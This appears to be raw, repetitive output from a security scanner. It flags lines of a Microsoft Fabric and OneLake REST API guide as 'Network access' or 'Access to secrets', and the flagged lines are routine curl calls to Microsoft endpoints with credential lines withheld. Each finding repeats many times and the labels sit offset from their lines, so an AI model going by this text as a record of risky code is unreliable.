--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
